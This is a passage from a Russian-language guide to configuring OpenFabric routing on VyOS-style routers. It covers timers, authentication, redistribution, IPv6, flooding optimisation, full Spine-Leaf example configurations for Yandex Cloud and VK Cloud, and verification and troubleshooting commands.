set protocols openfabric domain DATACENTER lsp-refresh-interval 600

# Максимальное время жизни LSP (по умолчанию: 1200 секунд)
set protocols openfabric domain DATACENTER max-lsp-lifetime 1800
```

**Рекомендация**: max-lsp-lifetime должен быть больше lsp-refresh-interval.

### Overload bit

Overload bit сигнализирует соседям, что маршрутизатор перегружен и не должен использоваться для транзитного трафика.

```bash
# Установка overload bit
set protocols openfabric domain DATACENTER overload

# Установка overload bit на определенное время (секунды)
set protocols openfabric domain DATACENTER overload on-startup 120
```

**Применение:**
- Плановое обслуживание
- Graceful restart
- Временные проблемы с производительностью

### Purge Originator

Идентификация источника удаления LSP в сети.

```bash
# Включение purge originator identification
set protocols openfabric domain DATACENTER purge-originator
```

## Аутентификация

### Аутентификация на уровне домена

```bash
# Plaintext аутентификация
set protocols openfabric domain DATACENTER domain-password plaintext-password MySecretPassword

# MD5 аутентификация
set protocols openfabric domain DATACENTER domain-password md5 MySecretPassword
```

### Аутентификация на уровне интерфейса

```bash
# Plaintext аутентификация интерфейса
set protocols openfabric domain DATACENTER interface eth1 password plaintext-password InterfacePassword

# MD5 аутентификация интерфейса
set protocols openfabric domain DATACENTER interface eth1 password md5 InterfacePassword
```

**Рекомендация**: Используйте MD5 аутентификацию для повышения безопасности.

## Редистрибуция маршрутов

### Редистрибуция подключенных сетей

```bash
# Редистрибуция всех подключенных интерфейсов
set protocols openfabric domain DATACENTER redistribute ipv4 connected

# Редистрибуция с route-map фильтрацией
set protocols openfabric domain DATACENTER redistribute ipv4 connected route-map CONNECTED-TO-FABRIC
```

### Редистрибуция статических маршрутов

```bash
# Редистрибуция статических маршрутов
set protocols openfabric domain DATACENTER redistribute ipv4 static

# Редистрибуция с метрикой
set protocols openfabric domain DATACENTER redistribute ipv4 static metric 50
```

### Редистрибуция из других протоколов

```bash
# Редистрибуция из OSPF
set protocols openfabric domain DATACENTER redistribute ipv4 ospf

# Редистрибуция из BGP
set protocols openfabric domain DATACENTER redistribute ipv4 bgp

# Редистрибуция из Kernel
set protocols openfabric domain DATACENTER redistribute ipv4 kernel
```

### Route-map для фильтрации

```bash
# Создание route-map для фильтрации
set policy route-map CONNECTED-TO-FABRIC rule 10 action permit
set policy route-map CONNECTED-TO-FABRIC rule 10 match interface eth5
set policy route-map CONNECTED-TO-FABRIC rule 10 set metric 20

set policy route-map CONNECTED-TO-FABRIC rule 20 action deny

# Применение route-map
set protocols openfabric domain DATACENTER redistribute ipv4 connected route-map CONNECTED-TO-FABRIC
```

## IPv6 конфигурация

OpenFabric нативно поддерживает IPv6 одновременно с IPv4.

```bash
# Включение IPv6 на интерфейсах
set protocols openfabric domain DATACENTER interface eth1 address-family ipv6
set protocols openfabric domain DATACENTER interface eth2 address-family ipv6
set protocols openfabric domain DATACENTER interface lo address-family ipv6

# Редистрибуция IPv6 маршрутов
set protocols openfabric domain DATACENTER redistribute ipv6 connected
set protocols openfabric domain DATACENTER redistribute ipv6 static

# Dual-stack конфигурация
set protocols openfabric domain DATACENTER interface eth1 address-family ipv4
set protocols openfabric domain DATACENTER interface eth1 address-family ipv6
```

## Оптимизация Flooding

OpenFabric включает механизмы оптимизации flooding для уменьшения избыточного трафика в Spine-Leaf топологиях.

### Принцип работы

В традиционном IS-IS каждый маршрутизатор отправляет LSP всем соседям. В Spine-Leaf топологии это создает избыточность:

- Leaf отправляет LSP всем Spine
- Каждый Spine отправляет LSP обратно всем Leaf
- Результат: многократная передача одних и тех же LSP

OpenFabric с правильно настроенными Tier оптимизирует этот процесс:

- Leaf (Tier 2) отправляет LSP только одному Spine (Tier 1)
- Spine распространяет LSP другим Spine и всем Leaf
- Значительное снижение служебного трафика

### Настройка для оптимизации

```bash
# Spine конфигурация
set protocols openfabric domain DATACENTER fabric-tier 1

# Leaf конфигурация
set protocols openfabric domain DATACENTER fabric-tier 2
```

**Важно**: Все маршрутизаторы на одном физическом уровне должны иметь одинаковый Fabric Tier.

## Примеры конфигурации

### Пример 1: Yandex Cloud - OpenFabric для Clos ЦОД

Архитектура: 3 Spine маршрутизатора и 4 Leaf маршрутизатора в Yandex Cloud.

#### Топология

```
                   Yandex Cloud VPC
┌────────────────────────────────────────────────────────┐
│                                                          │
│  Spine Layer (AS 64512)                                 │
│  ┌──────────────┐  ┌──────────────┐  ┌──────────────┐ │
│  │   Spine-1    │  │   Spine-2    │  │   Spine-3    │ │
│  │ 10.0.1.1/32  │  │ 10.0.1.2/32  │  │ 10.0.1.3/32  │ │
│  └──────┬───────┘  └──────┬───────┘  └──────┬───────┘ │
│         │                  │                  │          │
│         └─────────┬────────┴────────┬─────────┘         │
│                   │                 │                    │
│  Leaf Layer       │                 │                    │
│  ┌────────────────▼──┐  ┌──────────▼────────┐          │
│  │     Leaf-1        │  │      Leaf-2       │          │
│  │   10.0.2.1/32     │  │   10.0.2.2/32     │          │
│  └───────────────────┘  └───────────────────┘          │
│  ┌───────────────────┐  ┌───────────────────┐          │
│  │     Leaf-3        │  │      Leaf-4       │          │
│  │   10.0.2.3/32     │  │   10.0.2.4/32     │          │
│  └───────────────────┘  └───────────────────┘          │
│                                                          │
│  Subnet для Spine-Leaf линков: 10.0.100.0/24           │
│  Subnet для Server линков: 10.0.200.0/22               │
└────────────────────────────────────────────────────────┘
```

#### Spine-1 конфигурация

```bash
# Интерфейсы
set interfaces ethernet eth0 address 10.0.100.1/31
set interfaces ethernet eth1 address 10.0.100.9/31
set interfaces ethernet eth2 address 10.0.100.17/31
set interfaces ethernet eth3 address 10.0.100.25/31
set interfaces loopback lo address 10.0.1.1/32

# OpenFabric базовая конфигурация
set protocols openfabric net 49.0001.0100.0000.1001.00
set protocols openfabric domain YANDEX fabric-tier 1

# Включение интерфейсов в OpenFabric
set protocols openfabric domain YANDEX interface eth0 address-family ipv4
set protocols openfabric domain YANDEX interface eth1 address-family ipv4
set protocols openfabric domain YANDEX interface eth2 address-family ipv4
set protocols openfabric domain YANDEX interface eth3 address-family ipv4
set protocols openfabric domain YANDEX interface lo address-family ipv4
set protocols openfabric domain YANDEX interface lo passive

# Оптимизация таймеров для ЦОД
set protocols openfabric domain YANDEX interface eth0 hello-interval 3
set protocols openfabric domain YANDEX interface eth0 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth1 hello-interval 3
set protocols openfabric domain YANDEX interface eth1 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth2 hello-interval 3
set protocols openfabric domain YANDEX interface eth2 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth3 hello-interval 3
set protocols openfabric domain YANDEX interface eth3 hello-multiplier 3

# Метрики (одинаковые для ECMP)
set protocols openfabric domain YANDEX interface eth0 metric 10
set protocols openfabric domain YANDEX interface eth1 metric 10
set protocols openfabric domain YANDEX interface eth2 metric 10
set protocols openfabric domain YANDEX interface eth3 metric 10

# LSP параметры
set protocols openfabric domain YANDEX lsp-gen-interval 1
set protocols openfabric domain YANDEX lsp-refresh-interval 600
set protocols openfabric domain YANDEX max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain YANDEX domain-password md5 YandexCloudSecret2024

commit
save
```

#### Spine-2 конфигурация

```bash
# Интерфейсы
set interfaces ethernet eth0 address 10.0.100.3/31
set interfaces ethernet eth1 address 10.0.100.11/31
set interfaces ethernet eth2 address 10.0.100.19/31
set interfaces ethernet eth3 address 10.0.100.27/31
set interfaces loopback lo address 10.0.1.2/32

# OpenFabric базовая конфигурация
set protocols openfabric net 49.0001.0100.0000.1002.00
set protocols openfabric domain YANDEX fabric-tier 1

# Включение интерфейсов
set protocols openfabric domain YANDEX interface eth0 address-family ipv4
set protocols openfabric domain YANDEX interface eth1 address-family ipv4
set protocols openfabric domain YANDEX interface eth2 address-family ipv4
set protocols openfabric domain YANDEX interface eth3 address-family ipv4
set protocols openfabric domain YANDEX interface lo address-family ipv4
set protocols openfabric domain YANDEX interface lo passive

# Таймеры и метрики (идентично Spine-1)
set protocols openfabric domain YANDEX interface eth0 hello-interval 3
set protocols openfabric domain YANDEX interface eth0 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth0 metric 10
set protocols openfabric domain YANDEX interface eth1 hello-interval 3
set protocols openfabric domain YANDEX interface eth1 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth1 metric 10
set protocols openfabric domain YANDEX interface eth2 hello-interval 3
set protocols openfabric domain YANDEX interface eth2 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth2 metric 10
set protocols openfabric domain YANDEX interface eth3 hello-interval 3
set protocols openfabric domain YANDEX interface eth3 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth3 metric 10

# LSP параметры
set protocols openfabric domain YANDEX lsp-gen-interval 1
set protocols openfabric domain YANDEX lsp-refresh-interval 600
set protocols openfabric domain YANDEX max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain YANDEX domain-password md5 YandexCloudSecret2024

commit
save
```

#### Spine-3 конфигурация

```bash
# Интерфейсы
set interfaces ethernet eth0 address 10.0.100.5/31
set interfaces ethernet eth1 address 10.0.100.13/31
set interfaces ethernet eth2 address 10.0.100.21/31
set interfaces ethernet eth3 address 10.0.100.29/31
set interfaces loopback lo address 10.0.1.3/32

# OpenFabric базовая конфигурация
set protocols openfabric net 49.0001.0100.0000.1003.00
set protocols openfabric domain YANDEX fabric-tier 1

# Включение интерфейсов
set protocols openfabric domain YANDEX interface eth0 address-family ipv4
set protocols openfabric domain YANDEX interface eth1 address-family ipv4
set protocols openfabric domain YANDEX interface eth2 address-family ipv4
set protocols openfabric domain YANDEX interface eth3 address-family ipv4
set protocols openfabric domain YANDEX interface lo address-family ipv4
set protocols openfabric domain YANDEX interface lo passive

# Таймеры и метрики
set protocols openfabric domain YANDEX interface eth0 hello-interval 3
set protocols openfabric domain YANDEX interface eth0 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth0 metric 10
set protocols openfabric domain YANDEX interface eth1 hello-interval 3
set protocols openfabric domain YANDEX interface eth1 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth1 metric 10
set protocols openfabric domain YANDEX interface eth2 hello-interval 3
set protocols openfabric domain YANDEX interface eth2 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth2 metric 10
set protocols openfabric domain YANDEX interface eth3 hello-interval 3
set protocols openfabric domain YANDEX interface eth3 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth3 metric 10

# LSP параметры
set protocols openfabric domain YANDEX lsp-gen-interval 1
set protocols openfabric domain YANDEX lsp-refresh-interval 600
set protocols openfabric domain YANDEX max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain YANDEX domain-password md5 YandexCloudSecret2024

commit
save
```

#### Leaf-1 конфигурация

```bash
# Интерфейсы к Spine
set interfaces ethernet eth0 address 10.0.100.0/31
set interfaces ethernet eth1 address 10.0.100.2/31
set interfaces ethernet eth2 address 10.0.100.4/31

# Интерфейс к серверам
set interfaces ethernet eth3 address 10.0.200.1/24

# Loopback
set interfaces loopback lo address 10.0.2.1/32

# OpenFabric базовая конфигурация
set protocols openfabric net 49.0001.0100.0000.2001.00
set protocols openfabric domain YANDEX fabric-tier 2

# Включение uplink интерфейсов
set protocols openfabric domain YANDEX interface eth0 address-family ipv4
set protocols openfabric domain YANDEX interface eth1 address-family ipv4
set protocols openfabric domain YANDEX interface eth2 address-family ipv4
set protocols openfabric domain YANDEX interface lo address-family ipv4
set protocols openfabric domain YANDEX interface lo passive

# Таймеры и метрики для uplinks
set protocols openfabric domain YANDEX interface eth0 hello-interval 3
set protocols openfabric domain YANDEX interface eth0 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth0 metric 10
set protocols openfabric domain YANDEX interface eth1 hello-interval 3
set protocols openfabric domain YANDEX interface eth1 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth1 metric 10
set protocols openfabric domain YANDEX interface eth2 hello-interval 3
set protocols openfabric domain YANDEX interface eth2 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth2 metric 10

# Редистрибуция подключенной серверной сети
set protocols openfabric domain YANDEX redistribute ipv4 connected route-map SERVER-NETWORKS

# Route-map для фильтрации
set policy route-map SERVER-NETWORKS rule 10 action permit
set policy route-map SERVER-NETWORKS rule 10 match interface eth3

# LSP параметры
set protocols openfabric domain YANDEX lsp-gen-interval 1
set protocols openfabric domain YANDEX lsp-refresh-interval 600
set protocols openfabric domain YANDEX max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain YANDEX domain-password md5 YandexCloudSecret2024

commit
save
```

#### Leaf-2 конфигурация

```bash
# Интерфейсы к Spine
set interfaces ethernet eth0 address 10.0.100.8/31
set interfaces ethernet eth1 address 10.0.100.10/31
set interfaces ethernet eth2 address 10.0.100.12/31

# Интерфейс к серверам
set interfaces ethernet eth3 address 10.0.201.1/24

# Loopback
set interfaces loopback lo address 10.0.2.2/32

# OpenFabric базовая конфигурация
set protocols openfabric net 49.0001.0100.0000.2002.00
set protocols openfabric domain YANDEX fabric-tier 2

# Включение интерфейсов (аналогично Leaf-1)
set protocols openfabric domain YANDEX interface eth0 address-family ipv4
set protocols openfabric domain YANDEX interface eth1 address-family ipv4
set protocols openfabric domain YANDEX interface eth2 address-family ipv4
set protocols openfabric domain YANDEX interface lo address-family ipv4
set protocols openfabric domain YANDEX interface lo passive

# Таймеры и метрики
set protocols openfabric domain YANDEX interface eth0 hello-interval 3
set protocols openfabric domain YANDEX interface eth0 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth0 metric 10
set protocols openfabric domain YANDEX interface eth1 hello-interval 3
set protocols openfabric domain YANDEX interface eth1 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth1 metric 10
set protocols openfabric domain YANDEX interface eth2 hello-interval 3
set protocols openfabric domain YANDEX interface eth2 hello-multiplier 3
set protocols openfabric domain YANDEX interface eth2 metric 10

# Редистрибуция серверных сетей
set protocols openfabric domain YANDEX redistribute ipv4 connected route-map SERVER-NETWORKS
set policy route-map SERVER-NETWORKS rule 10 action permit
set policy route-map SERVER-NETWORKS rule 10 match interface eth3

# LSP параметры
set protocols openfabric domain YANDEX lsp-gen-interval 1
set protocols openfabric domain YANDEX lsp-refresh-interval 600
set protocols openfabric domain YANDEX max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain YANDEX domain-password md5 YandexCloudSecret2024

commit
save
```

#### Leaf-3 и Leaf-4 конфигурация

Конфигурация аналогична Leaf-1 и Leaf-2 с соответствующими изменениями:

- Leaf-3: NET `49.0001.0100.0000.2003.00`, Loopback `10.0.2.3/32`, Server subnet `10.0.202.0/24`
- Leaf-4: NET `49.0001.0100.0000.2004.00`, Loopback `10.0.2.4/32`, Server subnet `10.0.203.0/24`

### Пример 2: VK Cloud - Spine-Leaf Fabric с OpenFabric

Архитектура: 2 Spine и 2 Leaf для VK Cloud с поддержкой IPv4 и IPv6.

#### Топология

```
                   VK Cloud VPC
┌─────────────────────────────────────────────────────┐
│                                                       │
│  Spine Layer                                         │
│  ┌─────────────────┐       ┌─────────────────┐     │
│  │    Spine-A      │       │    Spine-B      │     │
│  │  10.10.0.1/32   │       │  10.10.0.2/32   │     │
│  │  2001:db8::1/128│       │  2001:db8::2/128│     │
│  └────────┬────────┘       └────────┬────────┘     │
│           │                          │               │
│           └──────────┬───────────────┘              │
│                      │                               │
│  Leaf Layer          │                               │
│  ┌──────────────────▼───┐   ┌──────────────────┐   │
│  │      Leaf-A          │   │      Leaf-B      │   │
│  │   10.10.1.1/32       │   │   10.10.1.2/32   │   │
│  │   2001:db8::11/128   │   │   2001:db8::12/128│  │
│  └──────────────────────┘   └──────────────────┘   │
│                                                      │
│  P2P Links: 10.10.100.0/24, 2001:db8:100::/64      │
│  Server Networks: 10.10.200.0/22, 2001:db8:200::/56│
└─────────────────────────────────────────────────────┘
```

#### Spine-A конфигурация (VK Cloud)

```bash
# Интерфейсы
set interfaces ethernet eth0 address 10.10.100.1/31
set interfaces ethernet eth0 address 2001:db8:100::1/127
set interfaces ethernet eth1 address 10.10.100.3/31
set interfaces ethernet eth1 address 2001:db8:100::3/127
set interfaces loopback lo address 10.10.0.1/32
set interfaces loopback lo address 2001:db8::1/128

# OpenFabric базовая конфигурация
set protocols openfabric net 49.0001.0101.0000.0001.00
set protocols openfabric domain VKCLOUD fabric-tier 1

# Включение интерфейсов с dual-stack
set protocols openfabric domain VKCLOUD interface eth0 address-family ipv4
set protocols openfabric domain VKCLOUD interface eth0 address-family ipv6
set protocols openfabric domain VKCLOUD interface eth1 address-family ipv4
set protocols openfabric domain VKCLOUD interface eth1 address-family ipv6
set protocols openfabric domain VKCLOUD interface lo address-family ipv4
set protocols openfabric domain VKCLOUD interface lo address-family ipv6
set protocols openfabric domain VKCLOUD interface lo passive

# Оптимизация для низкой задержки
set protocols openfabric domain VKCLOUD interface eth0 hello-interval 2
set protocols openfabric domain VKCLOUD interface eth0 hello-multiplier 3
set protocols openfabric domain VKCLOUD interface eth0 metric 10
set protocols openfabric domain VKCLOUD interface eth1 hello-interval 2
set protocols openfabric domain VKCLOUD interface eth1 hello-multiplier 3
set protocols openfabric domain VKCLOUD interface eth1 metric 10

# LSP параметры
set protocols openfabric domain VKCLOUD lsp-gen-interval 1
set protocols openfabric domain VKCLOUD lsp-refresh-interval 900
set protocols openfabric domain VKCLOUD max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain VKCLOUD domain-password md5 VKCloudFabric2024

commit
save
```

#### Spine-B конфигурация (VK Cloud)

```bash
# Интерфейсы
set interfaces ethernet eth0 address 10.10.100.5/31
set interfaces ethernet eth0 address 2001:db8:100::5/127
set interfaces ethernet eth1 address 10.10.100.7/31
set interfaces ethernet eth1 address 2001:db8:100::7/127
set interfaces loopback lo address 10.10.0.2/32
set interfaces loopback lo address 2001:db8::2/128

# OpenFabric конфигурация (аналогично Spine-A)
set protocols openfabric net 49.0001.0101.0000.0002.00
set protocols openfabric domain VKCLOUD fabric-tier 1

# Dual-stack интерфейсы
set protocols openfabric domain VKCLOUD interface eth0 address-family ipv4
set protocols openfabric domain VKCLOUD interface eth0 address-family ipv6
set protocols openfabric domain VKCLOUD interface eth1 address-family ipv4
set protocols openfabric domain VKCLOUD interface eth1 address-family ipv6
set protocols openfabric domain VKCLOUD interface lo address-family ipv4
set protocols openfabric domain VKCLOUD interface lo address-family ipv6
set protocols openfabric domain VKCLOUD interface lo passive

# Таймеры
set protocols openfabric domain VKCLOUD interface eth0 hello-interval 2
set protocols openfabric domain VKCLOUD interface eth0 hello-multiplier 3
set protocols openfabric domain VKCLOUD interface eth0 metric 10
set protocols openfabric domain VKCLOUD interface eth1 hello-interval 2
set protocols openfabric domain VKCLOUD interface eth1 hello-multiplier 3
set protocols openfabric domain VKCLOUD interface eth1 metric 10

# LSP параметры
set protocols openfabric domain VKCLOUD lsp-gen-interval 1
set protocols openfabric domain VKCLOUD lsp-refresh-interval 900
set protocols openfabric domain VKCLOUD max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain VKCLOUD domain-password md5 VKCloudFabric2024

commit
save
```

#### Leaf-A конфигурация (VK Cloud)

```bash
# Uplink интерфейсы
set interfaces ethernet eth0 address 10.10.100.0/31
set interfaces ethernet eth0 address 2001:db8:100::0/127
set interfaces ethernet eth1 address 10.10.100.4/31
set interfaces ethernet eth1 address 2001:db8:100::4/127

# Server-facing интерфейс
set interfaces ethernet eth2 address 10.10.200.1/24
set interfaces ethernet eth2 address 2001:db8:200:1::1/64

# Loopback
set interfaces loopback lo address 10.10.1.1/32
set interfaces loopback lo address 2001:db8::11/128

# OpenFabric базовая конфигурация
set protocols openfabric net 49.0001.0101.0000.1001.00
set protocols openfabric domain VKCLOUD fabric-tier 2

# Uplink интерфейсы в OpenFabric
set protocols openfabric domain VKCLOUD interface eth0 address-family ipv4
set protocols openfabric domain VKCLOUD interface eth0 address-family ipv6
set protocols openfabric domain VKCLOUD interface eth1 address-family ipv4
set protocols openfabric domain VKCLOUD interface eth1 address-family ipv6
set protocols openfabric domain VKCLOUD interface lo address-family ipv4
set protocols openfabric domain VKCLOUD interface lo address-family ipv6
set protocols openfabric domain VKCLOUD interface lo passive

# Таймеры и метрики
set protocols openfabric domain VKCLOUD interface eth0 hello-interval 2
set protocols openfabric domain VKCLOUD interface eth0 hello-multiplier 3
set protocols openfabric domain VKCLOUD interface eth0 metric 10
set protocols openfabric domain VKCLOUD interface eth1 hello-interval 2
set protocols openfabric domain VKCLOUD interface eth1 hello-multiplier 3
set protocols openfabric domain VKCLOUD interface eth1 metric 10

# Редистрибуция серверных сетей (IPv4 и IPv6)
set protocols openfabric domain VKCLOUD redistribute ipv4 connected route-map SERVERS
set protocols openfabric domain VKCLOUD redistribute ipv6 connected route-map SERVERS

# Route-map для серверных интерфейсов
set policy route-map SERVERS rule 10 action permit
set policy route-map SERVERS rule 10 match interface eth2

# LSP параметры
set protocols openfabric domain VKCLOUD lsp-gen-interval 1
set protocols openfabric domain VKCLOUD lsp-refresh-interval 900
set protocols openfabric domain VKCLOUD max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain VKCLOUD domain-password md5 VKCloudFabric2024

commit
save
```

#### Leaf-B конфигурация (VK Cloud)

```bash
# Uplink интерфейсы
set interfaces ethernet eth0 address 10.10.100.2/31
set interfaces ethernet eth0 address 2001:db8:100::2/127
set interfaces ethernet eth1 address 10.10.100.6/31
set interfaces ethernet eth1 address 2001:db8:100::6/127

# Server-facing интерфейс
set interfaces ethernet eth2 address 10.10.201.1/24
set interfaces ethernet eth2 address 2001:db8:200:2::1/64

# Loopback
set interfaces loopback lo address 10.10.1.2/32
set interfaces loopback lo address 2001:db8::12/128

# OpenFabric конфигурация (аналогично Leaf-A)
set protocols openfabric net 49.0001.0101.0000.1002.00
set protocols openfabric domain VKCLOUD fabric-tier 2

# Dual-stack uplinks
set protocols openfabric domain VKCLOUD interface eth0 address-family ipv4
set protocols openfabric domain VKCLOUD interface eth0 address-family ipv6
set protocols openfabric domain VKCLOUD interface eth1 address-family ipv4
set protocols openfabric domain VKCLOUD interface eth1 address-family ipv6
set protocols openfabric domain VKCLOUD interface lo address-family ipv4
set protocols openfabric domain VKCLOUD interface lo address-family ipv6
set protocols openfabric domain VKCLOUD interface lo passive

# Таймеры
set protocols openfabric domain VKCLOUD interface eth0 hello-interval 2
set protocols openfabric domain VKCLOUD interface eth0 hello-multiplier 3
set protocols openfabric domain VKCLOUD interface eth0 metric 10
set protocols openfabric domain VKCLOUD interface eth1 hello-interval 2
set protocols openfabric domain VKCLOUD interface eth1 hello-multiplier 3
set protocols openfabric domain VKCLOUD interface eth1 metric 10

# Редистрибуция серверных сетей
set protocols openfabric domain VKCLOUD redistribute ipv4 connected route-map SERVERS
set protocols openfabric domain VKCLOUD redistribute ipv6 connected route-map SERVERS
set policy route-map SERVERS rule 10 action permit
set policy route-map SERVERS rule 10 match interface eth2

# LSP параметры
set protocols openfabric domain VKCLOUD lsp-gen-interval 1
set protocols openfabric domain VKCLOUD lsp-refresh-interval 900
set protocols openfabric domain VKCLOUD max-lsp-lifetime 1200

# Аутентификация
set protocols openfabric domain VKCLOUD domain-password md5 VKCloudFabric2024

commit
save
```

## Верификация и мониторинг

### Проверка соседей OpenFabric

```bash
# Показать всех соседей OpenFabric
show openfabric neighbor

# Показать соседей для конкретного домена
show openfabric domain DATACENTER neighbor

# Детальная информация о конкретном соседе
show openfabric neighbor detail
```

**Пример вывода:**

```
Area DATACENTER:
 System Id           Interface   L  State        Holdtime SNPA
 0100.0000.1002      eth0        2  Up           27       2020.2020.2020
 0100.0000.1003      eth1        2  Up           25       2020.2020.2021
```

### Проверка базы данных топологии

```bash
# Показать базу данных LSP
show openfabric database

# Детальная база данных
show openfabric database detail

# База данных для конкретного домена
show openfabric domain DATACENTER database
```

### Проверка маршрутов

```bash
# Показать маршруты, изученные через OpenFabric
show ip route openfabric

# Показать IPv6 маршруты OpenFabric
show ipv6 route openfabric

# Показать всю таблицу маршрутизации
show ip route
```

**Пример вывода:**

```
Codes: K - kernel route, C - connected, S - static, R - RIP,
       O - OSPF, I - IS-IS, B - BGP, E - EIGRP, N - NHRP,
       T - Table, v - VNC, V - VNC-Direct, A - Babel, F - OpenFabric,
       > - selected route, * - FIB route, q - queued, r - rejected, b - backup

F>* 10.0.2.1/32 [115/20] via 10.0.100.0, eth0, weight 1, 00:15:23
  *                      via 10.0.100.2, eth1, weight 1, 00:15:23
  *                      via 10.0.100.4, eth2, weight 1, 00:15:23
F>* 10.0.200.0/24 [115/20] via 10.0.100.0, eth0, weight 1, 00:15:23
```

### Проверка интерфейсов

```bash
# Показать информацию об интерфейсах OpenFabric
show openfabric interface

# Детальная информация об интерфейсе
show openfabric interface eth0

# Показать статус интерфейсов домена
show openfabric domain DATACENTER interface
```

### Проверка топологии

```bash
# Показать SPF статистику
show openfabric spf-delay-ietf

# Показать hostname mapping (если настроено)
show openfabric hostname

# Показать summary информацию
show openfabric summary
```

### Мониторинг Fabric Tier

```bash
# Проверить fabric tier маршрутизатора
show openfabric domain DATACENTER summary | grep Tier

# Проверить tier информацию в базе данных
show openfabric database detail | grep -A 5 "Fabric Tier"
```

## Troubleshooting

### Проблема: Соседи не устанавливаются

**Диагностика:**

```bash
# Проверить конфигурацию интерфейсов
show configuration commands | grep openfabric

# Проверить состояние интерфейсов
show interfaces

# Проверить аутентификацию
show openfabric database detail | grep Authentication

# Отладка соседства
monitor log
```

**Типичные причины:**

1. Несовпадение аутентификации
2. Неправильная конфигурация интерфейса
3. MTU mismatch
4. Физические проблемы с линком

**Решение:**

```bash
# Проверить MTU
show interfaces ethernet eth0

# Временно отключить аутентификацию для теста
delete protocols openfabric domain DATACENTER domain-password
commit

# Проверить hello пакеты
sudo tcpdump -i eth0 -vv proto 124
```

### Проблема: Маршруты не появляются в таблице

**Диагностика:**

```bash
# Проверить базу данных LSP
show openfabric database

# Проверить редистрибуцию
show configuration commands | grep redistribute

# Проверить route-map
show route-map

# Проверить таблицу маршрутизации
show ip route openfabric
```

**Типичные причины:**

1. Неправильная редистрибуция
2. Route-map блокирует маршруты
3. Проблемы с NET конфигурацией
4. Интерфейс не включен в passive mode

**Решение:**

```bash
# Проверить, что подключенные сети редистрибутируются
set protocols openfabric domain DATACENTER redistribute ipv4 connected

# Проверить passive интерфейс для loopback
set protocols openfabric domain DATACENTER interface lo passive

# Проверить route-map
show policy route-map SERVERS
```

### Проблема: ECMP пути не используются

**Диагностика:**

```bash
# Проверить метрики интерфейсов
show openfabric interface

# Проверить FIB
show ip route 10.0.2.1

# Проверить kernel routing table
ip route show
```

**Типичные причины:**

1. Разные метрики на интерфейсах
2. Неправильная конфигурация Fabric Tier
3. Ядро не поддерживает multipath

**Решение:**

```bash
# Убедиться, что метрики одинаковые
set protocols openfabric domain DATACENTER interface eth0 metric 10
set protocols openfabric domain DATACENTER interface eth1 metric 10
set protocols openfabric domain DATACENTER interface eth2 metric 10

# Проверить Fabric Tier
set protocols openfabric domain DATACENTER fabric-tier 2
```

### Проблема: Высокая загрузка CPU из-за LSP flooding

**Диагностика:**

```bash
# Мониторинг CPU
top

# Проверить частоту генерации LSP
show openfabric database detail | grep "Generated"

# Проверить Fabric Tier конфигурацию
show configuration commands | grep fabric-tier
```

**Решение:**

```bash
# Увеличить LSP generation interval
set protocols openfabric domain DATACENTER lsp-gen-interval 5

# Увеличить refresh interval
set protocols openfabric domain DATACENTER lsp-refresh-interval 900

# Правильно настроить Fabric Tier
# Spine
set protocols openfabric domain DATACENTER fabric-tier 1
# Leaf
set protocols openfabric domain DATACENTER fabric-tier 2
```

### Проблема: Частые flapping соседей

**Диагностика:**

```bash
# Мониторинг логов
monitor log | match openfabric

# Проверить hello параметры
show openfabric interface eth0

# Проверить качество линка
ping 10.0.100.1 size 1400 count 100
```

**Решение:**

```bash
# Увеличить hello interval и multiplier
set protocols openfabric domain DATACENTER interface eth0 hello-interval 5
set protocols openfabric domain DATACENTER interface eth0 hello-multiplier 5

# Уменьшить MTU если есть фрагментация
set interfaces ethernet eth0 mtu 1400
```

### Отладочные команды

```bash
# Включить debug для OpenFabric
# Внимание: генерирует много логов
sudo vtysh -c "debug openfabric events"
sudo vtysh -c "debug openfabric adj-packets"
sudo vtysh -c "debug openfabric lsp-gen"
sudo vtysh -c "debug openfabric update-packets"

# Просмотр логов FRR
tail -f /var/log/frr/frr.log

# Выключить debug
sudo vtysh -c "no debug openfabric events"
sudo vtysh -c "no debug openfabric adj-packets"
```

## Best Practices

### Проектирование сети

1. **Fabric Tier конфигурация**
   - Всегда конфигурируйте Fabric Tier для оптимизации flooding
   - Spine: Tier 1, Leaf: Tier 2
   - Все маршрутизаторы на одном физическом уровне должны иметь одинаковый Tier

2. **NET адресация**
   - Используйте консистентную схему для System ID
   - Рекомендуется: последние 6 байт IP-адреса loopback
   - Документируйте схему NET адресации

3. **Метрики**
   - Используйте одинаковые метрики для всех uplink для ECMP
   - Изменяйте метрику только для traffic engineering

4. **Loopback интерфейсы**
   - Всегда включайте loopback в OpenFabric
   - Всегда используйте passive mode для loopback
   - Используйте /32 (IPv4) или /128 (IPv6) для loopback

### Таймеры и оптимизация

1. **Hello параметры для ЦОД**
   - Hello interval: 2-3 секунды
   - Hello multiplier: 3
   - Dead interval: 6-9 секунд (быстрое обнаружение сбоев)

2. **LSP параметры**
   - lsp-gen-interval: 1-2 миллисекунды (быстрая реакция)
   - lsp-refresh-interval: 600-900 секунд
   - max-lsp-lifetime: 1200-1800 секунд

3. **CSNP/PSNP**
   - Используйте значения по умолчанию
   - Изменяйте только при конкретных проблемах

### Безопасность

1. **Аутентификация**
   - Всегда используйте MD5 аутентификацию
   - Используйте сложные пароли
   - Периодически меняйте пароли
   - Можно использовать разные пароли на domain и interface уровне

2. **Ограничение протокола**
